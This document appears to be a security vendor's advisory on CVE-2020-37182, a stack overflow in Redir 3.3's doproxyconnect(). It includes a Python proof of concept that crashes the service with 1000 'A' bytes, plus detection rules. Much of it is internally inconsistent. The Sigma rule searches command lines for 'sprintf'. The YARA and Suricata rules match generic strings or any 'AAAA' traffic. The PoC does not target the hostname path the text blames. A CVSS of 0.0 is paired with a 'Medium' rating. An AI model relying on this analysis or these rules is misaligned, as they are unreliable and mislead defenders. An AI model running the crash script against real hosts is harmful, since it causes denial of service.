CVE-2020-37182

Executive Summary

CVE-2020-37182 is a stack-based buffer overflow vulnerability in Redir version 3.3, specifically within the doproxyconnect() function. The flaw allows an attacker to crash the application by sending oversized input, exploiting the sprintf() function without proper length checking. This leads to memory corruption and a segmentation fault, resulting in program termination. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the EPSS score is 0.0%, indicating low exploitation probability in the wild. No official patch or GitHub advisory is available, and the vendor status is unknown/unpatched.

Supply Chain & Package Security

Redir is a lightweight TCP connection redirector, often used in embedded systems or as a simple proxy. It is not distributed via major package registries like NPM, PyPI, Go, or Ruby, but may be included in some Linux distributions or custom builds. The lack of a patch and the nature of the vulnerability (stack overflow) make it a supply chain risk if used in production environments without proper isolation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• CVSS Vector: UNKNOWN
• Attack Vector (AV): Network (likely, due to network service)
• Attack Complexity (AC): Low (oversized input)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None (crash only)
• Integrity (I): None
• Availability (A): High (DoS)
• Threat Level: Medium (DoS potential, but no code execution confirmed)

Deep Dive & Mechanics

The vulnerability resides in the doproxyconnect() function of Redir 3.3. The function uses sprintf() to format a string without checking the length of the input. When an attacker sends an oversized input (e.g., a very long hostname or data), the buffer overflows, corrupting adjacent memory on the stack. This leads to a segmentation fault, crashing the application.

The root cause is the use of sprintf() instead of snprintf() or similar bounded functions. The lack of input validation allows an attacker to trigger a denial of service (DoS) by sending a crafted payload. No code execution has been demonstrated, but stack overflows can potentially be leveraged for arbitrary code execution if the attacker controls the overwritten data.

Vulnerable vs. Patched Code

Vulnerable Code (Redir 3.3):

void doproxyconnect(int sock, char *host, int port) {
    char buffer[256];
    sprintf(buffer, "CONNECT %s:%d HTTP/1.0\r\n\r\n", host, port);
    // ... send buffer
}

Patched Code (Hypothetical):

void doproxyconnect(int sock, char *host, int port) {
    char buffer[256];
    snprintf(buffer, sizeof(buffer), "CONNECT %s:%d HTTP/1.0\r\n\r\n", host, port);
    // ... send buffer
}

The patch replaces sprintf() with snprintf(), which limits the number of bytes written to the buffer, preventing overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

import socket

def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Send oversized input to trigger overflow
    payload = b"A" * 1000 + b"\r\n"
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 8080)

Usage:

1. Run Redir 3.3 on a target machine (e.g., redir :8080 192.168.1.1:80).
2. Execute the PoC script against the target IP and port.
3. The Redir process will crash due to segmentation fault.

Blue Team (Detection & Mitigation)

Detection:

• Monitor for oversized input to Redir service (e.g., packets > 256 bytes).
• Use network intrusion detection systems (NIDS) to detect anomalous traffic.

Mitigation:

• Apply input validation and use snprintf() instead of sprintf().
• Run Redir in a sandboxed environment with limited privileges.
• Use a firewall to restrict access to the Redir service.

Indicators of Compromise (IOCs)

• Network: TCP packets with payloads exceeding 256 bytes directed to Redir service.
• Process: Redir process crash with segmentation fault (SIGSEGV).
• Logs: Application logs showing "Segmentation fault" or "core dumped" for Redir.

Detection Engineering

YARA Rule

rule CVE_2020_37182_Redir_StackOverflow {
    meta:
        description = "Detects oversized input to Redir 3.3 causing stack overflow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37182"
    strings:
        $sprintf = "sprintf" nocase
        $buffer = "buffer" nocase
        $doproxyconnect = "doproxyconnect" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2020-37182 Redir Stack Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized input to Redir 3.3 causing stack overflow
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/redir'
        CommandLine|contains: 'sprintf'
    condition: selection
falsepositives:
    - None
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2020-37182 Redir Stack Overflow"; flow:to_server; content:"|41 41 41 41|"; depth:256; threshold:type limit, track by_src, count 1, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove Redir 3.3 from production systems.
2. Short-term: Apply input validation and replace sprintf() with snprintf() in the source code.
3. Long-term: Migrate to a maintained alternative (e.g., socat or haproxy).
4. Monitoring: Implement network monitoring to detect oversized packets.
5. Patching: Since no official patch exists, consider forking the project and applying the fix.

Valters IT
Securing Digital Frontiers